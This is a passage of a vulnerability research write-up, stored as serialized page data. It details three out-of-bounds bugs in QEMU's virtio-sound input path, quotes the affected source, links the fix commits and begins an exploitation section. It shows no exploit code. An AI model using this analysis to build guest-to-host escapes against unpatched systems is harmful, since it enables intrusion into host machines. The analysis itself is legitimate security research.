if",{"type":26,"tag":217,"props":35882,"children":35883},{"style":7048},[35884],{"type":32,"value":7051},{"type":26,"tag":217,"props":35886,"children":35887},{"style":7054},[35888],{"type":32,"value":28450},{"type":26,"tag":217,"props":35890,"children":35891},{"style":7048},[35892],{"type":32,"value":10115},{"type":26,"tag":217,"props":35894,"children":35895},{"style":7054},[35896],{"type":32,"value":12431},{"type":26,"tag":217,"props":35898,"children":35899},{"style":7149},[35900],{"type":32,"value":10125},{"type":26,"tag":217,"props":35902,"children":35903},{"style":7048},[35904],{"type":32,"value":35905}," max_size) {",{"type":26,"tag":217,"props":35907,"children":35908},{"style":7033},[35909],{"type":32,"value":35910},"     // [2]\n",{"type":26,"tag":217,"props":35912,"children":35913},{"class":7028,"line":7985},[35914,35919],{"type":26,"tag":217,"props":35915,"children":35916},{"style":7064},[35917],{"type":32,"value":35918},"                    return_rx_buffer",{"type":26,"tag":217,"props":35920,"children":35921},{"style":7048},[35922],{"type":32,"value":35923},"(stream, buffer);\n",{"type":26,"tag":217,"props":35925,"children":35926},{"class":7028,"line":8027},[35927,35932],{"type":26,"tag":217,"props":35928,"children":35929},{"style":7042},[35930],{"type":32,"value":35931},"                    break",{"type":26,"tag":217,"props":35933,"children":35934},{"style":7048},[35935],{"type":32,"value":7162},{"type":26,"tag":217,"props":35937,"children":35938},{"class":7028,"line":8035},[35939],{"type":26,"tag":217,"props":35940,"children":35941},{"style":7048},[35942],{"type":32,"value":13407},{"type":26,"tag":217,"props":35944,"children":35945},{"class":7028,"line":8067},[35946,35951,35955,35960,35964,35968,35972,35977,35981,35986],{"type":26,"tag":217,"props":35947,"children":35948},{"style":7048},[35949],{"type":32,"value":35950},"                size ",{"type":26,"tag":217,"props":35952,"children":35953},{"style":7149},[35954],{"type":32,"value":267},{"type":26,"tag":217,"props":35956,"children":35957},{"style":7064},[35958],{"type":32,"value":35959}," AUD_read",{"type":26,"tag":217,"props":35961,"children":35962},{"style":7048},[35963],{"type":32,"value":1851},{"type":26,"tag":217,"props":35965,"children":35966},{"style":7054},[35967],{"type":32,"value":7978},{"type":26,"tag":217,"props":35969,"children":35970},{"style":7048},[35971],{"type":32,"value":10115},{"type":26,"tag":217,"props":35973,"children":35974},{"style":7054},[35975],{"type":32,"value":35976},"voice",{"type":26,"tag":217,"props":35978,"children":35979},{"style":7048},[35980],{"type":32,"value":180},{"type":26,"tag":217,"props":35982,"children":35983},{"style":7054},[35984],{"type":32,"value":35985},"in",{"type":26,"tag":217,"props":35987,"children":35988},{"style":7048},[35989],{"type":32,"value":10953},{"type":26,"tag":217,"props":35991,"children":35992},{"class":7028,"line":8107},[35993,35998,36002,36006,36010,36014,36018,36022],{"type":26,"tag":217,"props":35994,"children":35995},{"style":7054},[35996],{"type":32,"value":35997},"                        buffer",{"type":26,"tag":217,"props":35999,"children":36000},{"style":7048},[36001],{"type":32,"value":10115},{"type":26,"tag":217,"props":36003,"children":36004},{"style":7054},[36005],{"type":32,"value":33715},{"type":26,"tag":217,"props":36007,"children":36008},{"style":7149},[36009],{"type":32,"value":9025},{"type":26,"tag":217,"props":36011,"children":36012},{"style":7054},[36013],{"type":32,"value":26977},{"type":26,"tag":217,"props":36015,"children":36016},{"style":7048},[36017],{"type":32,"value":10115},{"type":26,"tag":217,"props":36019,"children":36020},{"style":7054},[36021],{"type":32,"value":12431},{"type":26,"tag":217,"props":36023,"children":36024},{"style":7048},[36025],{"type":32,"value":10953},{"type":26,"tag":217,"props":36027,"children":36028},{"class":7028,"line":8145},[36029,36034,36039,36043,36047,36052,36056,36061,36065],{"type":26,"tag":217,"props":36030,"children":36031},{"style":7064},[36032],{"type":32,"value":36033},"                        MIN",{"type":26,"tag":217,"props":36035,"children":36036},{"style":7048},[36037],{"type":32,"value":36038},"(available, (",{"type":26,"tag":217,"props":36040,"children":36041},{"style":7054},[36042],{"type":32,"value":7978},{"type":26,"tag":217,"props":36044,"children":36045},{"style":7048},[36046],{"type":32,"value":10115},{"type":26,"tag":217,"props":36048,"children":36049},{"style":7054},[36050],{"type":32,"value":36051},"params",{"type":26,"tag":217,"props":36053,"children":36054},{"style":7048},[36055],{"type":32,"value":180},{"type":26,"tag":217,"props":36057,"children":36058},{"style":7054},[36059],{"type":32,"value":36060},"period_bytes",{"type":26,"tag":217,"props":36062,"children":36063},{"style":7149},[36064],{"type":32,"value":12618},{"type":26,"tag":217,"props":36066,"children":36067},{"style":7033},[36068],{"type":32,"value":36069},"     // [3]\n",{"type":26,"tag":217,"props":36071,"children":36072},{"class":7028,"line":8154},[36073,36078,36082,36086],{"type":26,"tag":217,"props":36074,"children":36075},{"style":7054},[36076],{"type":32,"value":36077},"                                        buffer",{"type":26,"tag":217,"props":36079,"children":36080},{"style":7048},[36081],{"type":32,"value":10115},{"type":26,"tag":217,"props":36083,"children":36084},{"style":7054},[36085],{"type":32,"value":12431},{"type":26,"tag":217,"props":36087,"children":36088},{"style":7048},[36089],{"type":32,"value":36090},")));\n",{"type":26,"tag":217,"props":36092,"children":36093},{"class":7028,"line":8162},[36094,36098,36102,36106],{"type":26,"tag":217,"props":36095,"children":36096},{"style":7042},[36097],{"type":32,"value":35880},{"type":26,"tag":217,"props":36099,"children":36100},{"style":7048},[36101],{"type":32,"value":7051},{"type":26,"tag":217,"props":36103,"children":36104},{"style":7149},[36105],{"type":32,"value":11704},{"type":26,"tag":217,"props":36107,"children":36108},{"style":7048},[36109],{"type":32,"value":36110},"size) {\n",{"type":26,"tag":217,"props":36112,"children":36113},{"class":7028,"line":8197},[36114,36119,36123,36127],{"type":26,"tag":217,"props":36115,"children":36116},{"style":7048},[36117],{"type":32,"value":36118},"                    available ",{"type":26,"tag":217,"props":36120,"children":36121},{"style":7149},[36122],{"type":32,"value":267},{"type":26,"tag":217,"props":36124,"children":36125},{"style":7130},[36126],{"type":32,"value":9922},{"type":26,"tag":217,"props":36128,"children":36129},{"style":7048},[36130],{"type":32,"value":7162},{"type":26,"tag":217,"props":36132,"children":36133},{"class":7028,"line":8220},[36134,36138],{"type":26,"tag":217,"props":36135,"children":36136},{"style":7042},[36137],{"type":32,"value":35931},{"type":26,"tag":217,"props":36139,"children":36140},{"style":7048},[36141],{"type":32,"value":7162},{"type":26,"tag":217,"props":36143,"children":36144},{"class":7028,"line":8228},[36145],{"type":26,"tag":217,"props":36146,"children":36147},{"style":7048},[36148],{"type":32,"value":13407},{"type":26,"tag":217,"props":36150,"children":36151},{"class":7028,"line":8292},[36152,36156,36160,36164,36169],{"type":26,"tag":217,"props":36153,"children":36154},{"style":7054},[36155],{"type":32,"value":35809},{"type":26,"tag":217,"props":36157,"children":36158},{"style":7048},[36159],{"type":32,"value":10115},{"type":26,"tag":217,"props":36161,"children":36162},{"style":7054},[36163],{"type":32,"value":12431},{"type":26,"tag":217,"props":36165,"children":36166},{"style":7149},[36167],{"type":32,"value":36168}," +=",{"type":26,"tag":217,"props":36170,"children":36171},{"style":7048},[36172],{"type":32,"value":12311},{"type":26,"tag":217,"props":36174,"children":36175},{"class":7028,"line":8351},[36176,36181,36186],{"type":26,"tag":217,"props":36177,"children":36178},{"style":7048},[36179],{"type":32,"value":36180},"                available ",{"type":26,"tag":217,"props":36182,"children":36183},{"style":7149},[36184],{"type":32,"value":36185},"-=",{"type":26,"tag":217,"props":36187,"children":36188},{"style":7048},[36189],{"type":32,"value":12311},{"type":26,"tag":217,"props":36191,"children":36192},{"class":7028,"line":8391},[36193],{"type":26,"tag":217,"props":36194,"children":36195},{"style":7048},[36196],{"type":32,"value":36197},"                [...]\n",{"type":26,"tag":217,"props":36199,"children":36200},{"class":7028,"line":8439},[36201],{"type":26,"tag":217,"props":36202,"children":36203},{"style":7048},[36204],{"type":32,"value":36205},"            }\n",{"type":26,"tag":217,"props":36207,"children":36208},{"class":7028,"line":8448},[36209],{"type":26,"tag":217,"props":36210,"children":36211},{"style":7048},[36212],{"type":32,"value":8722},{"type":26,"tag":217,"props":36214,"children":36215},{"class":7028,"line":8456},[36216],{"type":26,"tag":217,"props":36217,"children":36218},{"style":7048},[36219],{"type":32,"value":9754},{"type":26,"tag":217,"props":36221,"children":36222},{"class":7028,"line":8500},[36223],{"type":26,"tag":217,"props":36224,"children":36225},{"style":7048},[36226],{"type":32,"value":7184},{"type":26,"tag":39,"props":36228,"children":36229},{},[36230,36231,36236,36237,36243,36244,36250,36252,36257,36258,36263,36265,36270],{"type":32,"value":35126},{"type":26,"tag":83,"props":36232,"children":36234},{"className":36233},[],[36235],{"type":32,"value":35132},{"type":32,"value":7599},{"type":26,"tag":83,"props":36238,"children":36240},{"className":36239},[],[36241],{"type":32,"value":36242},"max_size",{"type":32,"value":17939},{"type":26,"tag":83,"props":36245,"children":36247},{"className":36246},[],[36248],{"type":32,"value":36249},"iov_size(in_sg, in_num)",{"type":32,"value":36251},". Both ",{"type":26,"tag":83,"props":36253,"children":36255},{"className":36254},[],[36256],{"type":32,"value":34855},{"type":32,"value":1308},{"type":26,"tag":83,"props":36259,"children":36261},{"className":36260},[],[36262],{"type":32,"value":34872},{"type":32,"value":36264}," are the same guest-controlled fields from ",{"type":26,"tag":83,"props":36266,"children":36268},{"className":36267},[],[36269],{"type":32,"value":34502},{"type":32,"value":180},{"type":26,"tag":39,"props":36272,"children":36273},{},[36274,36276,36281,36283,36289,36291,36297,36299,36305],{"type":32,"value":36275},"Later, at ",{"type":26,"tag":83,"props":36277,"children":36279},{"className":36278},[],[36280],{"type":32,"value":35166},{"type":32,"value":36282},", the code checks whether ",{"type":26,"tag":83,"props":36284,"children":36286},{"className":36285},[],[36287],{"type":32,"value":36288},"buffer->size >= max_size",{"type":32,"value":36290},". In the RX path, ",{"type":26,"tag":83,"props":36292,"children":36294},{"className":36293},[],[36295],{"type":32,"value":36296},"buffer->size",{"type":32,"value":36298}," tracks how many bytes have been written into ",{"type":26,"tag":83,"props":36300,"children":36302},{"className":36301},[],[36303],{"type":32,"value":36304},"buffer->data",{"type":32,"value":36306},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":26,"tag":39,"props":36308,"children":36309},{},[36310,36312,36317,36319,36325,36327,36332,36334,36340],{"type":32,"value":36311},"However, this does not match the allocation logic in ",{"type":26,"tag":83,"props":36313,"children":36315},{"className":36314},[],[36316],{"type":32,"value":34502},{"type":32,"value":36318},", which used: ",{"type":26,"tag":83,"props":36320,"children":36322},{"className":36321},[],[36323],{"type":32,"value":36324},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":32,"value":36326},". In other words, the allocation subtracts ",{"type":26,"tag":83,"props":36328,"children":36330},{"className":36329},[],[36331],{"type":32,"value":35232},{"type":32,"value":36333},", but the later bound in ",{"type":26,"tag":83,"props":36335,"children":36337},{"className":36336},[],[36338],{"type":32,"value":36339},"virtio_snd_pcm_in_cb",{"type":32,"value":36341}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":26,"tag":39,"props":36343,"children":36344},{},[36345,36347,36352,36354,36360,36362,36368,36370,36375,36377,36383,36385,36391,36393,36398,36400,36405],{"type":32,"value":36346},"Finally, at ",{"type":26,"tag":83,"props":36348,"children":36350},{"className":36349},[],[36351],{"type":32,"value":35190},{"type":32,"value":36353},", the code calls ",{"type":26,"tag":83,"props":36355,"children":36357},{"className":36356},[],[36358],{"type":32,"value":36359},"AUD_read",{"type":32,"value":36361}," with the following limit:\n",{"type":26,"tag":83,"props":36363,"children":36365},{"className":36364},[],[36366],{"type":32,"value":36367},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":32,"value":36369},". Notice how this bound does not take ",{"type":26,"tag":83,"props":36371,"children":36373},{"className":36372},[],[36374],{"type":32,"value":36242},{"type":32,"value":36376}," into account at all. That means if ",{"type":26,"tag":83,"props":36378,"children":36380},{"className":36379},[],[36381],{"type":32,"value":36382},"available",{"type":32,"value":36384}," is larger than the allocated buffer, and ",{"type":26,"tag":83,"props":36386,"children":36388},{"className":36387},[],[36389],{"type":32,"value":36390},"stream->params.period_bytes",{"type":32,"value":36392}," is also larger than the allocated buffer, ",{"type":26,"tag":83,"props":36394,"children":36396},{"className":36395},[],[36397],{"type":32,"value":36359},{"type":32,"value":36399}," will write past the end of ",{"type":26,"tag":83,"props":36401,"children":36403},{"className":36402},[],[36404],{"type":32,"value":36304},{"type":32,"value":36406}," - the third, and final, bug we found.",{"type":26,"tag":39,"props":36408,"children":36409},{},[36410,36412,36417,36419,36425],{"type":32,"value":36411},"Looking further at the code, we can see that ",{"type":26,"tag":83,"props":36413,"children":36415},{"className":36414},[],[36416],{"type":32,"value":36390},{"type":32,"value":36418}," is fully guest-controlled by issuing a ",{"type":26,"tag":83,"props":36420,"children":36422},{"className":36421},[],[36423],{"type":32,"value":36424},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":32,"value":36426}," request:",{"type":26,"tag":207,"props":36428,"children":36430},{"code":36429,"language":2255,"meta":8,"className":9574,"style":8},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n                                   uint32_t stream_id,\n                                   virtio_snd_pcm_set_params *params)\n{\n    virtio_snd_pcm_set_params *st_params;\n\n    [...]\n\n    st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n    [...]\n\n    st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n    st_params->period_bytes = le32_to_cpu(params->period_bytes);\n    st_params->features = le32_to_cpu(params->features);\n    /* the following are uint8_t, so there's no need to bswap the values. */\n    st_params->channels = params->channels;\n    st_params->format = params->format;\n    st_params->rate = params->rate;\n\n    return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[36431],{"type":26,"tag":83,"props":36432,"children":36433},{"__ignoreMap":8},[36434,36442,36471,36488,36508,36515,36532,36539,36546,36553,36575,36582,36589,36596,36642,36685,36729,36737,36774,36810,36846,36853,36870],{"type":26,"tag":217,"props":36435,"children":36436},{"class":7028,"line":7029},[36437],{"type":26,"tag":217,"props":36438,"children":36439},{"style":7154},[36440],{"type":32,"value":36441},"static\n",{"type":26,"tag":217,"props":36443,"children":36444},{"class":7028,"line":6770},[36445,36449,36454,36459,36463,36467],{"type":26,"tag":217,"props":36446,"children":36447},{"style":7154},[36448],{"type":32,"value":16209},{"type":26,"tag":217,"props":36450,"children":36451},{"style":7064},[36452],{"type":32,"value":36453}," virtio_snd_set_pcm_params",{"type":26,"tag":217,"props":36455,"children":36456},{"style":7048},[36457],{"type":32,"value":36458},"(VirtIOSound ",{"type":26,"tag":217,"props":36460,"children":36461},{"style":7149},[36462],{"type":32,"value":10006},{"type":26,"tag":217,"props":36464,"children":36465},{"style":7054},[36466],{"type":32,"value":3246},{"type":26,"tag":217,"props":36468,"children":36469},{"style":7048},[36470],{"type":32,"value":10953},{"type":26,"tag":217,"props":36472,"children":36473},{"class":7028,"line":6779},[36474,36479,36484],{"type":26,"tag":217,"props":36475,"children":36476},{"style":7154},[36477],{"type":32,"value":36478},"                                   uint32_t",{"type":26,"tag":217,"props":36480,"children":36481},{"style":7054},[36482],{"type":32,"value":36483}," stream_id",{"type":26,"tag":217,"props":36485,"children":36486},{"style":7048},[36487],{"type":32,"value":10953},{"type":26,"tag":217,"props":36489,"children":36490},{"class":7028,"line":7140},[36491,36496,36500,36504],{"type":26,"tag":217,"props":36492,"children":36493},{"style":7048},[36494],{"type":32,"value":36495},"                                   virtio_snd_pcm_set_params ",{"type":26,"tag":217,"props":36497,"children":36498},{"style":7149},[36499],{"type":32,"value":10006},{"type":26,"tag":217,"props":36501,"children":36502},{"style":7054},[36503],{"type":32,"value":36051},{"type":26,"tag":217,"props":36505,"children":36506},{"style":7048},[36507],{"type":32,"value":10025},{"type":26,"tag":217,"props":36509,"children":36510},{"class":7028,"line":7165},[36511],{"type":26,"tag":217,"props":36512,"children":36513},{"style":7048},[36514],{"type":32,"value":10033},{"type":26,"tag":217,"props":36516,"children":36517},{"class":7028,"line":7178},[36518,36523,36527],{"type":26,"tag":217,"props":36519,"children":36520},{"style":7048},[36521],{"type":32,"value":36522},"    virtio_snd_pcm_set_params ",{"type":26,"tag":217,"props":36524,"children":36525},{"style":7149},[36526],{"type":32,"value":10006},{"type":26,"tag":217,"props":36528,"children":36529},{"style":7048},[36530],{"type":32,"value":36531},"st_params;\n",{"type":26,"tag":217,"props":36533,"children":36534},{"class":7028,"line":7389},[36535],{"type":26,"tag":217,"props":36536,"children":36537},{"emptyLinePlaceholder":17},[36538],{"type":32,"value":7817},{"type":26,"tag":217,"props":36540,"children":36541},{"class":7028,"line":7406},[36542],{"type":26,"tag":217,"props":36543,"children":36544},{"style":7048},[36545],{"type":32,"value":34647},{"type":26,"tag":217,"props":36547,"children":36548},{"class":7028,"line":7439},[36549],{"type":26,"tag":217,"props":36550,"children":36551},{"emptyLinePlaceholder":17},[36552],{"type":32,"value":7817},{"type":26,"tag":217,"props":36554,"children":36555},{"class":7028,"line":7487},[36556,36561,36565,36570],{"type":26,"tag":217,"props":36557,"children":36558},{"style":7048},[36559],{"type":32,"value":36560},"    st_params ",{"type":26,"tag":217,"props":36562,"children":36563},{"style":7149},[36564],{"type":32,"value":267},{"type":26,"tag":217,"props":36566,"children":36567},{"style":7064},[36568],{"type":32,"value":36569}," virtio_snd_pcm_get_params",{"type":26,"tag":217,"props":36571,"children":36572},{"style":7048},[36573],{"type":32,"value":36574},"(s, stream_id);\n",{"type":26,"tag":217,"props":36576,"children":36577},{"class":7028,"line":7524},[36578],{"type":26,"tag":217,"props":36579,"children":36580},{"emptyLinePlaceholder":17},[36581],{"type":32,"value":7817},{"type":26,"tag":217,"props":36583,"children":36584},{"class":7028,"line":7553},[36585],{"type":26,"tag":217,"props":36586,"children":36587},{"style":7048},[36588],{"type":32,"value":34647},{"type":26,"tag":217,"props":36590,"children":36591},{"class":7028,"line":7570},[36592],{"type":26,"tag":217,"props":36593,"children":36594},{"emptyLinePlaceholder":17},[36595],{"type":32,"value":7817},{"type":26,"tag":217,"props":36597,"children":36598},{"class":7028,"line":7621},[36599,36604,36608,36613,36617,36622,36626,36630,36634,36638],{"type":26,"tag":217,"props":36600,"children":36601},{"style":7054},[36602],{"type":32,"value":36603},"    st_params",{"type":26,"tag":217,"props":36605,"children":36606},{"style":7048},[36607],{"type":32,"value":10115},{"type":26,"tag":217,"props":36609,"children":36610},{"style":7054},[36611],{"type":32,"value":36612},"buffer_bytes",{"type":26,"tag":217,"props":36614,"children":36615},{"style":7149},[36616],{"type":32,"value":8993},{"type":26,"tag":217,"props":36618,"children":36619},{"style":7064},[36620],{"type":32,"value":36621}," le32_to_cpu",{"type":26,"tag":217,"props":36623,"children":36624},{"style":7048},[36625],{"type":32,"value":1851},{"type":26,"tag":217,"props":36627,"children":36628},{"style":7054},[36629],{"type":32,"value":36051},{"type":26,"tag":217,"props":36631,"children":36632},{"style":7048},[36633],{"type":32,"value":10115},{"type":26,"tag":217,"props":36635,"children":36636},{"style":7054},[36637],{"type":32,"value":36612},{"type":26,"tag":217,"props":36639,"children":36640},{"style":7048},[36641],{"type":32,"value":7669},{"type":26,"tag":217,"props":36643,"children":36644},{"class":7028,"line":7672},[36645,36649,36653,36657,36661,36665,36669,36673,36677,36681],{"type":26,"tag":217,"props":36646,"children":36647},{"style":7054},[36648],{"type":32,"value":36603},{"type":26,"tag":217,"props":36650,"children":36651},{"style":7048},[36652],{"type":32,"value":10115},{"type":26,"tag":217,"props":36654,"children":36655},{"style":7054},[36656],{"type":32,"value":36060},{"type":26,"tag":217,"props":36658,"children":36659},{"style":7149},[36660],{"type":32,"value":8993},{"type":26,"tag":217,"props":36662,"children":36663},{"style":7064},[36664],{"type":32,"value":36621},{"type":26,"tag":217,"props":36666,"children":36667},{"style":7048},[36668],{"type":32,"value":1851},{"type":26,"tag":217,"props":36670,"children":36671},{"style":7054},[36672],{"type":32,"value":36051},{"type":26,"tag":217,"props":36674,"children":36675},{"style":7048},[36676],{"type":32,"value":10115},{"type":26,"tag":217,"props":36678,"children":36679},{"style":7054},[36680],{"type":32,"value":36060},{"type":26,"tag":217,"props":36682,"children":36683},{"style":7048},[36684],{"type":32,"value":7669},{"type":26,"tag":217,"props":36686,"children":36687},{"class":7028,"line":7681},[36688,36692,36696,36701,36705,36709,36713,36717,36721,36725],{"type":26,"tag":217,"props":36689,"children":36690},{"style":7054},[36691],{"type":32,"value":36603},{"type":26,"tag":217,"props":36693,"children":36694},{"style":7048},[36695],{"type":32,"value":10115},{"type":26,"tag":217,"props":36697,"children":36698},{"style":7054},[36699],{"type":32,"value":36700},"features",{"type":26,"tag":217,"props":36702,"children":36703},{"style":7149},[36704],{"type":32,"value":8993},{"type":26,"tag":217,"props":36706,"children":36707},{"style":7064},[36708],{"type":32,"value":36621},{"type":26,"tag":217,"props":36710,"children":36711},{"style":7048},[36712],{"type":32,"value":1851},{"type":26,"tag":217,"props":36714,"children":36715},{"style":7054},[36716],{"type":32,"value":36051},{"type":26,"tag":217,"props":36718,"children":36719},{"style":7048},[36720],{"type":32,"value":10115},{"type":26,"tag":217,"props":36722,"children":36723},{"style":7054},[36724],{"type":32,"value":36700},{"type":26,"tag":217,"props":36726,"children":36727},{"style":7048},[36728],{"type":32,"value":7669},{"type":26,"tag":217,"props":36730,"children":36731},{"class":7028,"line":7754},[36732],{"type":26,"tag":217,"props":36733,"children":36734},{"style":7033},[36735],{"type":32,"value":36736},"    /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":26,"tag":217,"props":36738,"children":36739},{"class":7028,"line":7784},[36740,36744,36748,36753,36757,36762,36766,36770],{"type":26,"tag":217,"props":36741,"children":36742},{"style":7054},[36743],{"type":32,"value":36603},{"type":26,"tag":217,"props":36745,"children":36746},{"style":7048},[36747],{"type":32,"value":10115},{"type":26,"tag":217,"props":36749,"children":36750},{"style":7054},[36751],{"type":32,"value":36752},"channels",{"type":26,"tag":217,"props":36754,"children":36755},{"style":7149},[36756],{"type":32,"value":8993},{"type":26,"tag":217,"props":36758,"children":36759},{"style":7054},[36760],{"type":32,"value":36761}," params",{"type":26,"tag":217,"props":36763,"children":36764},{"style":7048},[36765],{"type":32,"value":10115},{"type":26,"tag":217,"props":36767,"children":36768},{"style":7054},[36769],{"type":32,"value":36752},{"type":26,"tag":217,"props":36771,"children":36772},{"style":7048},[36773],{"type":32,"value":7162},{"type":26,"tag":217,"props":36775,"children":36776},{"class":7028,"line":7802},[36777,36781,36785,36790,36794,36798,36802,36806],{"type":26,"tag":217,"props":36778,"children":36779},{"style":7054},[36780],{"type":32,"value":36603},{"type":26,"tag":217,"props":36782,"children":36783},{"style":7048},[36784],{"type":32,"value":10115},{"type":26,"tag":217,"props":36786,"children":36787},{"style":7054},[36788],{"type":32,"value":36789},"format",{"type":26,"tag":217,"props":36791,"children":36792},{"style":7149},[36793],{"type":32,"value":8993},{"type":26,"tag":217,"props":36795,"children":36796},{"style":7054},[36797],{"type":32,"value":36761},{"type":26,"tag":217,"props":36799,"children":36800},{"style":7048},[36801],{"type":32,"value":10115},{"type":26,"tag":217,"props":36803,"children":36804},{"style":7054},[36805],{"type":32,"value":36789},{"type":26,"tag":217,"props":36807,"children":36808},{"style":7048},[36809],{"type":32,"value":7162},{"type":26,"tag":217,"props":36811,"children":36812},{"class":7028,"line":7811},[36813,36817,36821,36826,36830,36834,36838,36842],{"type":26,"tag":217,"props":36814,"children":36815},{"style":7054},[36816],{"type":32,"value":36603},{"type":26,"tag":217,"props":36818,"children":36819},{"style":7048},[36820],{"type":32,"value":10115},{"type":26,"tag":217,"props":36822,"children":36823},{"style":7054},[36824],{"type":32,"value":36825},"rate",{"type":26,"tag":217,"props":36827,"children":36828},{"style":7149},[36829],{"type":32,"value":8993},{"type":26,"tag":217,"props":36831,"children":36832},{"style":7054},[36833],{"type":32,"value":36761},{"type":26,"tag":217,"props":36835,"children":36836},{"style":7048},[36837],{"type":32,"value":10115},{"type":26,"tag":217,"props":36839,"children":36840},{"style":7054},[36841],{"type":32,"value":36825},{"type":26,"tag":217,"props":36843,"children":36844},{"style":7048},[36845],{"type":32,"value":7162},{"type":26,"tag":217,"props":36847,"children":36848},{"class":7028,"line":7820},[36849],{"type":26,"tag":217,"props":36850,"children":36851},{"emptyLinePlaceholder":17},[36852],{"type":32,"value":7817},{"type":26,"tag":217,"props":36854,"children":36855},{"class":7028,"line":7844},[36856,36860,36865],{"type":26,"tag":217,"props":36857,"children":36858},{"style":7042},[36859],{"type":32,"value":7171},{"type":26,"tag":217,"props":36861,"children":36862},{"style":7064},[36863],{"type":32,"value":36864}," cpu_to_le32",{"type":26,"tag":217,"props":36866,"children":36867},{"style":7048},[36868],{"type":32,"value":36869},"(VIRTIO_SND_S_OK);\n",{"type":26,"tag":217,"props":36871,"children":36872},{"class":7028,"line":7910},[36873],{"type":26,"tag":217,"props":36874,"children":36875},{"style":7048},[36876],{"type":32,"value":7184},{"type":26,"tag":39,"props":36878,"children":36879},{},[36880,36882,36888,36890,36896,36898,36904,36906,36911,36913,36919,36920,36925],{"type":32,"value":36881},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":26,"tag":83,"props":36883,"children":36885},{"className":36884},[],[36886],{"type":32,"value":36887},"u8",{"type":32,"value":36889},") and signed (",{"type":26,"tag":83,"props":36891,"children":36893},{"className":36892},[],[36894],{"type":32,"value":36895},"s8",{"type":32,"value":36897},") samples. They encode the same waveform differently - silence is ",{"type":26,"tag":83,"props":36899,"children":36901},{"className":36900},[],[36902],{"type":32,"value":36903},"0x80",{"type":32,"value":36905}," in ",{"type":26,"tag":83,"props":36907,"children":36909},{"className":36908},[],[36910],{"type":32,"value":36887},{"type":32,"value":36912},", but ",{"type":26,"tag":83,"props":36914,"children":36916},{"className":36915},[],[36917],{"type":32,"value":36918},"0x00",{"type":32,"value":36905},{"type":26,"tag":83,"props":36921,"children":36923},{"className":36922},[],[36924],{"type":32,"value":36895},{"type":32,"value":180},{"type":26,"tag":11933,"props":36927,"children":36928},{},[],{"type":26,"tag":39,"props":36930,"children":36931},{},[36932],{"type":32,"value":36933},"To summarize:",{"type":26,"tag":6712,"props":36935,"children":36936},{},[36937,36956,36974],{"type":26,"tag":2044,"props":36938,"children":36939},{},[36940,36942,36947,36949,36954],{"type":32,"value":36941},"an integer underflow in the ",{"type":26,"tag":83,"props":36943,"children":36945},{"className":36944},[],[36946],{"type":32,"value":12431},{"type":32,"value":36948}," calculation in ",{"type":26,"tag":83,"props":36950,"children":36952},{"className":36951},[],[36953],{"type":32,"value":34502},{"type":32,"value":36955},", resulting in an 8-byte (or less) under-allocation",{"type":26,"tag":2044,"props":36957,"children":36958},{},[36959,36961,36966,36967,36972],{"type":32,"value":36960},"a mismatch in the ",{"type":26,"tag":83,"props":36962,"children":36964},{"className":36963},[],[36965],{"type":32,"value":36242},{"type":32,"value":36948},{"type":26,"tag":83,"props":36968,"children":36970},{"className":36969},[],[36971],{"type":32,"value":36339},{"type":32,"value":36973},", leading to at most 8-byte OOB write",{"type":26,"tag":2044,"props":36975,"children":36976},{},[36977,36979,36984,36986,36991,36993,36998],{"type":32,"value":36978},"a missing bound in the ",{"type":26,"tag":83,"props":36980,"children":36982},{"className":36981},[],[36983],{"type":32,"value":12431},{"type":32,"value":36985}," passed to ",{"type":26,"tag":83,"props":36987,"children":36989},{"className":36988},[],[36990],{"type":32,"value":36359},{"type":32,"value":36992},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":26,"tag":83,"props":36994,"children":36996},{"className":36995},[],[36997],{"type":32,"value":36382},{"type":32,"value":36999}," bytes",{"type":26,"tag":39,"props":37001,"children":37002},{},[37003,37005,37010,37012,37017,37019,37025],{"type":32,"value":37004},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":26,"tag":83,"props":37006,"children":37008},{"className":37007},[],[37009],{"type":32,"value":36382},{"type":32,"value":37011},", but in our setup with the ALSA backend, ",{"type":26,"tag":83,"props":37013,"children":37015},{"className":37014},[],[37016],{"type":32,"value":36382},{"type":32,"value":37018}," was consistently around ",{"type":26,"tag":83,"props":37020,"children":37022},{"className":37021},[],[37023],{"type":32,"value":37024},"4096",{"type":32,"value":180},{"type":26,"tag":39,"props":37027,"children":37028},{},[37029,37031,37038,37039,37046],{"type":32,"value":37030},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":26,"tag":163,"props":37032,"children":37035},{"href":37033,"rel":37034},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[167],[37036],{"type":32,"value":37037},"commit 1",{"type":32,"value":7599},{"type":26,"tag":163,"props":37040,"children":37043},{"href":37041,"rel":37042},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[167],[37044],{"type":32,"value":37045},"commit 2",{"type":32,"value":37047},") in the very same week that we independently found them while manually reviewing the code.",{"type":26,"tag":27,"props":37049,"children":37051},{"id":37050},"exploit",[37052],{"type":32,"value":37053},"Exploit",{"type":26,"tag":39,"props":37055,"children":37056},{},[37057],{"type":32,"value":37058},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":26,"tag":39,"props":37060,"children":37061},{},[37062],{"type":32,"value":37063},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":26,"tag":607,"props":37065,"children":37067},{"id":37066},"achieving-a-better-primitive",[37068],{"type":32,"value":37069},"Achieving a Better Primitive",{"type":26,"tag":39,"props":37071,"children":37072},{},[37073],{"type":32,"value":37074},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible 